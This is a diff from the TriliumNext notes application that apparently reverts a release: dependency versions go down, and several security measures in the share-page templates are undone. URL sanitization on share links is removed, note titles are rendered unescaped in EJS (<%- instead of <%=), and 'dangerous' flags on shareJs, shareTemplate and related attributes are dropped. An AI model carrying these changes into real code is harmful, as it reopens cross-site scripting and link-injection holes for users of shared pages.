"rev": "35f88a41d29839b3989f31871263451c8e092cb1",
"type": "github"
},
"original": {
"owner": "TriliumNext",
"ref": "fix/optional_dependencies_filtering",
"owner": "FliegendeWurst",
"repo": "pnpm2nix-nzbr",
"type": "github"
}

View File

@@ -5,7 +5,7 @@
nixpkgs.url = "github:NixOS/nixpkgs";
flake-utils.url = "github:numtide/flake-utils";
pnpm2nix = {
url = "github:TriliumNext/pnpm2nix-nzbr/fix/optional_dependencies_filtering";
url = "github:FliegendeWurst/pnpm2nix-nzbr";
inputs = {
flake-utils.follows = "flake-utils";
nixpkgs.follows = "nixpkgs";
@@ -325,8 +325,6 @@
buildInputs = [
nodejs
pnpm
electron
nodejs.python
];
};
}

View File

@@ -59,7 +59,7 @@
"cross-env": "10.1.0",
"dpdm": "4.0.1",
"esbuild": "0.27.4",
"eslint": "10.1.0",
"eslint": "10.0.3",
"eslint-config-preact": "2.0.0",
"eslint-config-prettier": "10.1.8",
"eslint-plugin-playwright": "2.10.1",

View File

@@ -29,11 +29,11 @@
"@vitest/browser": "4.1.0",
"@vitest/coverage-istanbul": "4.1.0",
"ckeditor5": "47.6.1",
"eslint": "10.1.0",
"eslint": "10.0.3",
"eslint-config-ckeditor5": ">=9.1.0",
"http-server": "14.1.1",
"lint-staged": "16.4.0",
"stylelint": "17.5.0",
"stylelint": "17.4.0",
"stylelint-config-ckeditor5": ">=9.1.0",
"ts-node": "10.9.2",
"typescript": "5.9.3",

View File

@@ -30,11 +30,11 @@
"@vitest/browser": "4.1.0",
"@vitest/coverage-istanbul": "4.1.0",
"ckeditor5": "47.6.1",
"eslint": "10.1.0",
"eslint": "10.0.3",
"eslint-config-ckeditor5": ">=9.1.0",
"http-server": "14.1.1",
"lint-staged": "16.4.0",
"stylelint": "17.5.0",
"stylelint": "17.4.0",
"stylelint-config-ckeditor5": ">=9.1.0",
"ts-node": "10.9.2",
"typescript": "5.9.3",

View File

@@ -32,11 +32,11 @@
"@vitest/browser": "4.1.0",
"@vitest/coverage-istanbul": "4.1.0",
"ckeditor5": "47.6.1",
"eslint": "10.1.0",
"eslint": "10.0.3",
"eslint-config-ckeditor5": ">=9.1.0",
"http-server": "14.1.1",
"lint-staged": "16.4.0",
"stylelint": "17.5.0",
"stylelint": "17.4.0",
"stylelint-config-ckeditor5": ">=9.1.0",
"ts-node": "10.9.2",
"typescript": "5.9.3",

View File

@@ -32,11 +32,11 @@
"@vitest/browser": "4.1.0",
"@vitest/coverage-istanbul": "4.1.0",
"ckeditor5": "47.6.1",
"eslint": "10.1.0",
"eslint": "10.0.3",
"eslint-config-ckeditor5": ">=9.1.0",
"http-server": "14.1.1",
"lint-staged": "16.4.0",
"stylelint": "17.5.0",
"stylelint": "17.4.0",
"stylelint-config-ckeditor5": ">=9.1.0",
"ts-node": "10.9.2",
"typescript": "5.9.3",

View File

@@ -32,11 +32,11 @@
"@vitest/browser": "4.1.0",
"@vitest/coverage-istanbul": "4.1.0",
"ckeditor5": "47.6.1",
"eslint": "10.1.0",
"eslint": "10.0.3",
"eslint-config-ckeditor5": ">=9.1.0",
"http-server": "14.1.1",
"lint-staged": "16.4.0",
"stylelint": "17.5.0",
"stylelint": "17.4.0",
"stylelint-config-ckeditor5": ">=9.1.0",
"ts-node": "10.9.2",
"typescript": "5.9.3",

View File

@@ -52,6 +52,6 @@
"codemirror-lang-elixir": "4.0.1",
"codemirror-lang-hcl": "0.1.0",
"codemirror-lang-mermaid": "0.5.0",
"eslint-linter-browserify": "10.1.0"
"eslint-linter-browserify": "10.0.3"
}
}

View File

@@ -19,7 +19,6 @@ export default [
{ type: "label", name: "runOnInstance", isDangerous: false },
{ type: "label", name: "runAtHour", isDangerous: false },
{ type: "label", name: "customRequestHandler", isDangerous: true },
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
{ type: "label", name: "customResourceProvider", isDangerous: true },
{ type: "label", name: "widget", isDangerous: true },
{ type: "label", name: "noteInfoWidgetDisabled" },
@@ -82,7 +81,6 @@ export default [
{ type: "label", name: "webViewSrc", isDangerous: true },
{ type: "label", name: "hideHighlightWidget" },
{ type: "label", name: "iconPack", isDangerous: true },
{ type: "label", name: "docName", isDangerous: true },
{ type: "label", name: "printLandscape" },
{ type: "label", name: "printPageSize" },
@@ -108,8 +106,8 @@ export default [
{ type: "relation", name: "widget", isDangerous: true },
{ type: "relation", name: "renderNote", isDangerous: true },
{ type: "relation", name: "shareCss" },
{ type: "relation", name: "shareJs", isDangerous: true },
{ type: "relation", name: "shareJs" },
{ type: "relation", name: "shareHtml" },
{ type: "relation", name: "shareTemplate", isDangerous: true },
{ type: "relation", name: "shareTemplate" },
{ type: "relation", name: "shareFavicon" }
];

View File

@@ -25,7 +25,7 @@
"license": "Apache-2.0",
"dependencies": {
"fuse.js": "7.1.0",
"katex": "0.16.40",
"katex": "0.16.39",
"mermaid": "11.13.0"
},
"devDependencies": {
@@ -35,7 +35,7 @@
"@typescript-eslint/parser": "8.57.1",
"dotenv": "17.3.1",
"esbuild": "0.27.4",
"eslint": "10.1.0",
"eslint": "10.0.3",
"highlight.js": "11.11.1",
"typescript": "5.9.3"
}

View File

@@ -100,7 +100,7 @@
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
const headingMatches = [...content.matchAll(headingRe)];
content = content.replaceAll(headingRe, (...match) => {
@@ -181,8 +181,7 @@ content = content.replaceAll(headingRe, (...match) => {
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
for (const childNote of note[action]()) {
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
%>
<li>

View File

@@ -57,6 +57,6 @@
%>
<div class="navigation">
<% if (previousNote) { %><a class="previous" href="./<%= previousNote.shareId %>"><%= previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%= nextNote.shareId %>"><%= nextNote.title %></a><% } %>
<% if (previousNote) { %><a class="previous" href="./<%- previousNote.shareId %>"><%- previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%- nextNote.shareId %>"><%- nextNote.title %></a><% } %>
</div>

View File

@@ -4,7 +4,7 @@ const isExternalLink = note.hasLabel("shareExternal");
let linkHref;
if (isExternalLink) {
linkHref = sanitizeUrl(note.getLabelValue("shareExternal") ?? "");
linkHref = note.getLabelValue("shareExternal");
} else if (note.shareId) {
linkHref = `./${note.shareId}`;
}

726
pnpm-lock.yaml generated

File diff suppressed because it is too large Load Diff